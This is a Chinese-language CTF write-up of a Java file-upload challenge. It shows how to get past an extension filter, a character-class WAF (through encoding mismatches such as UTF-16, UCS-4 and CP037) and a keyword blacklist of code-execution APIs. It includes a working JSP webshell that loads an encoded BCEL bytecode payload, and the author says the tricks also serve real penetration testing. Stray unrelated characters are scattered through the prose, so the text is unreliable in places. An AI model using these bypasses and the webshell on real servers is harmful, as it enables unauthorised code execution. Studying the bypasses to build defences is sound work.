@yzddmr6
自己在L3HCTF中出了一道java上傳繞過題目bypass。其中題目中的一些trick不僅僅是用于CTF出題旦万,對于實(shí)戰(zhàn)滲透也是有一定的幫助。今天跟大家分享一下出題時的一些思考跟解題細(xì)節(jié)镶蹋。
題目有三道過濾
1. 繞過后綴
public static String checkExt(String ext) {
ext = ext.toLowerCase();
String[] blackExtList = {
"jsp", "jspx"
};
for (String blackExt : blackExtList) {
if (ext.contains(blackExt)) {
ext = ext.replace(blackExt, "");
}
}
return ext;
}
后綴jsp/jspx會被替換為空成艘,用雙寫繞過:jsjspp。常規(guī)操作
2. 繞過可見字符檢測
第二階段題目中直接用getString獲取FileItem的內(nèi)容贺归,然后傳入了checkValidChars函數(shù)檢測淆两。checkValidChars函數(shù)主要功能是檢測content中是否存在連著兩個以上的字母數(shù)字,如果匹配成功則提示上傳失敗拂酣。
String content = item.getString();
boolean check = checkValidChars(content);
...
public static boolean checkValidChars(String content) {
Pattern pattern = Pattern.compile("[a-zA-Z0-9]{2,}");
Matcher matcher = pattern.matcher(content);
return matcher.find();
}
這里其實(shí)是模擬了一個WAF的場景秋冰,因?yàn)楹芏郬AF對于文件上傳都會有很粗暴的攔截,碰到j(luò)sp標(biāo)簽就給干死婶熬。
乍一看似乎并不可能被繞過剑勾,因?yàn)橹灰B著兩個字母數(shù)字就會被檢測到埃撵,讓人不由得想起了CTF經(jīng)典題目《php無字母數(shù)字webshell》。但是java不像php一樣支持變量函數(shù)虽另,需要從其他地方下手暂刘。
這里就用到了一個trick:FileItem.getString()對于編碼的解析跟Tomcat解析jsp是有差異的,默認(rèn)為ISO-8859-1
public String getString() {
byte[] rawdata = this.get();
String charset = this.getCharSet();
if (charset == null) {
charset = "ISO-8859-1";
}
try {
return new String(rawdata, charset);
} catch (UnsupportedEncodingException var4) {
return new String(rawdata);
}
}
而Tomcat對于jsp編碼的解析主要在org.apache.jasper.compiler.EncodingDetector這個類捂刺,其中有很多默認(rèn)用ISO-8859-1無法直接解析的編碼谣拣。
private EncodingDetector.BomResult parseBom(byte[] b4, int count) {
if (count < 2) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b0 = b4[0] & 255;
int b1 = b4[1] & 255;
if (b0 == 254 && b1 == 255) {
return new EncodingDetector.BomResult("UTF-16BE", 2);
} else if (b0 == 255 && b1 == 254) {
return new EncodingDetector.BomResult("UTF-16LE", 2);
} else if (count < 3) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b2 = b4[2] & 255;
if (b0 == 239 && b1 == 187 && b2 == 191) {
return new EncodingDetector.BomResult("UTF-8", 3);
} else if (count < 4) {
return new EncodingDetector.BomResult("UTF-8", 0);
} else {
int b3 = b4[3] & 255;
if (b0 == 0 && b1 == 0 && b2 == 0 && b3 == 60) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 60 && b1 == 0 && b2 == 0 && b3 == 0) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 0 && b1 == 0 && b2 == 60 && b3 == 0) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 0) {
return new EncodingDetector.BomResult("ISO-10646-UCS-4", 0);
} else if (b0 == 0 && b1 == 60 && b2 == 0 && b3 == 63) {
return new EncodingDetector.BomResult("UTF-16BE", 0);
} else if (b0 == 60 && b1 == 0 && b2 == 63 && b3 == 0) {
return new EncodingDetector.BomResult("UTF-16LE", 0);
} else {
return b0 == 76 && b1 == 111 && b2 == 167 && b3 == 148 ? new EncodingDetector.BomResult("CP037", 0) : new EncodingDetector.BomResult("UTF-8", 0);
}
}
}
}
}
利用兩者對于編碼的識別結(jié)果不同,從而造成解析差異族展,進(jìn)行繞過芝发。
在看到的wp中基本都是利用UTF-16繞過,但是從函數(shù)中可以看到苛谷,Tomcat還支持另一些不常見編碼,如UCS-4和CP037格郁。這兩種編碼比較少見腹殿,并且部分后端語言是不支持直接解析的。
也就是說例书,如果遇到WAF或者webshell檢測引擎锣尉,在文件上傳時非常粗暴的檢測了jsp的標(biāo)簽,利用特殊的編碼即可造成降維打擊决采,隨便繞過自沧。
3. 繞過黑名單檢測
String[] blackWordsList = {
//危險關(guān)鍵字
"newInstance", "Runtime", "invoke", "ProcessBuilder", "loadClass", "ScriptEngine",
"setAccessible", "JdbcRowSetImpl", "ELProcessor", "ELManager", "TemplatesImpl", "lookup",
"readObject","defineClass",
//寫文件
"File", "Writer", "Stream", "commons",
//request
"request", "Request",
//特殊編碼也處理一下
"\\u", "CDATA", "&#"
//這下總安全了吧
};
這里也是比較有意思的一步,模擬了一個端上暴力webshell查殺引擎树瞭。
常見的webshell關(guān)鍵字都會被攔截拇厢,其他的一些編碼如unicode,html實(shí)體晒喷,cdata拆分也都加了關(guān)鍵字孝偎。并且加了文件類關(guān)鍵字,防止二次寫文件進(jìn)行繞過凉敲。甚至攔截了request對象衣盾,禁止直接傳入?yún)?shù)。
題目的定位為開放性題目爷抓,其實(shí)繞過的辦法很多势决。看到很多wp都是利用遠(yuǎn)程加載class或者jar來完成rce:
https://www.anquanke.com/post/id/259487
https://y4tacker.blog.csdn.net/article/details/121363886
當(dāng)時為了降低題目難度蓝撇,環(huán)境沒有設(shè)置不出網(wǎng)果复,并且jdk也是比較低的版本。那么如果題目設(shè)置了不出網(wǎng)環(huán)境又該怎么利用呢渤昌?
在這里提一種不出網(wǎng)也可利用的姿勢据悔,利用bcel ClassLoader繞過传透。
以三夢的github項(xiàng)目為例:JSP-Webshells/1.jsp at master · threedr3am/JSP-Webshells (github.com)
bcel字節(jié)碼webshell的原理在于com.sun.org.apache.bcel.internal.util.ClassLoader在loadClass的時候會解析并加載bcel字節(jié)碼。但是題目中把loadClass以及newInstance關(guān)鍵字都給封禁了极颓。
那么問題就變成了如何觸發(fā)loadClass方法
實(shí)際上Class.forName在查找類的時候朱盐,如果使用了三個參數(shù)的重載方法使用自定義類加載器,就會調(diào)用其類加載器的loadClass方法菠隆。
僅僅從源碼看不出來這一點(diǎn)兵琳,forName0經(jīng)過了一層native方法。下個斷點(diǎn)從堆棧里可以看到這一過程骇径。
具體實(shí)現(xiàn)如下:
<%
Class.forName("$BCEL$$l$8b$I$A$A$A$A$A$A$AmQ$dbn$d3$40$Q$3d$h$3b$b1$T$i$d2$a6$84K$a0$c1$bd$Q$92$40$e3$G$nU$a8U$5e$Q$95$Q$E$b8$w$8aP$l6$ee$w$dd$e2$da$91$b3$a9$faG$3c$f7$a5$m$q$f8$A$3e$K1kB$b9$ee$c3$cc$ce$99sf$8e$d7_$bf$7d$fa$C$e01$k$96p$F$f5$Sn$e3$8e$85E$h$N$hwm$b8$gX$b2$b0$5c$82$8d$V$L$ab$W$ee1$U$b6d$yU$9f$c1h$b5$f7$Z$cc$a7$c9$a1$60$a8$f82$W$_$a7$tC$91$ee$f1aDH$d5OB$k$ed$f3T$eaz$G$9a$eaHN$Y$8a$feH$a8$ed$88$8f6$Z$ec$ad0$9aMd$c4$a8$f9$c7$fc$94$7b2$f1$9e$ef$3e$3b$L$c5X$c9$q$sZ9P$3c$7c$b7$c3$c7$d9$q2$c5P$K$92i$g$8am$a9$t$3b$b3$89$5d$zw$e0$a0l$a1$e9$e0$3eZ$Ms$d9$c8$88$c7$p$_P$a9$8cG$e4$c0$h$ca$d8$h$f2$c9$RCn$zdh$e9$bb$bb$s$dd$7e$d3$f5$O$c5$a9$a7$c2$b1$d7$dbx$d4$edmt$d7$bb$3d$ef$J$jw$bd$df$ec9h$a3$c3$b0$f0$l$9b$O$k$a0$cc$60$cd$ac$fc$b1xwx$yB$c50$ff$Lz$3d$8d$95$3c$n$ef$r$S$5c$W$b5V$db$ff$87C$P$60$8a3$a1$7d$b6$de$fa$7f$7f$ce$e6$ef$8aWi$S$8a$c9$84$U$9515U$f6n$7b$v$P$F$96$a0$ff$b3$3e90$fdD$U$afR$e5Qf$94$f3$9d$P$60$e7Y$bbB$b1$90$81$G$e6$u$3a$3f$I$98G$95$b2$8d$85KqJ$a8$ee$ad$7cD$ae$f0$Z$c6$c0$a8$9a$c1$c0$ac$e6$83A$beZ$I$$60$bdy$P$fbE$e7$C$c5$f3$8cX$c7$o$N0$b2$V$d7I$ac$X$d5Q$q$d4B$83$3a$cb$e4$f2$e7$ca$GL$5cC$zc$82$fa$b9$D$L7Lj$dc$cc$5c$de$fa$O$S$V$ac$c8$c2$C$A$A",true, new com.sun.org.apache.bcel.internal.util.ClassLoader());
%>
其中bcel字節(jié)碼生成的代碼可以參考三夢師傅的項(xiàng)目:https://github.com/threedr3am/JSP-Webshells/blob/master/jsp/1/BcelEvil.java
另外躯肌,黑名單中小寫的lookup并不是非預(yù)期,原本的方法確實(shí)是小寫破衔。
繞過是因?yàn)楹芏鄮煾嫡业搅肆硪粋€重載方法doLookup清女,這是其中的一個預(yù)期解。
很多人沒有注意到這個靜態(tài)方法晰筛。因?yàn)槟壳皫缀跛衘ndi注入文章都說到的是第一個點(diǎn)lookup嫡丙,而doLookup這個觸發(fā)點(diǎn)需要翻看源碼才能找到。
此題目為開放性題目读第,姿勢很多曙博。出題的本意就是想看看大家在遇到市面上大部分姿勢都被ban掉的情況下會構(gòu)造出什么有意思的繞過。